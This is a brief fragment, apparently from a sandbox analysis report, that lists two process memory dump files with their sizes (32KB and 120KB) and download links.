                  • memory/3028-140-0x0000000000800000-0x0000000000808000-memory.dmp

                    Filesize

                    32KB

                    Download

                  • memory/3044-310-0x0000000000400000-0x000000000041E000-memory.dmp

                    Filesize

                    120KB

                    Download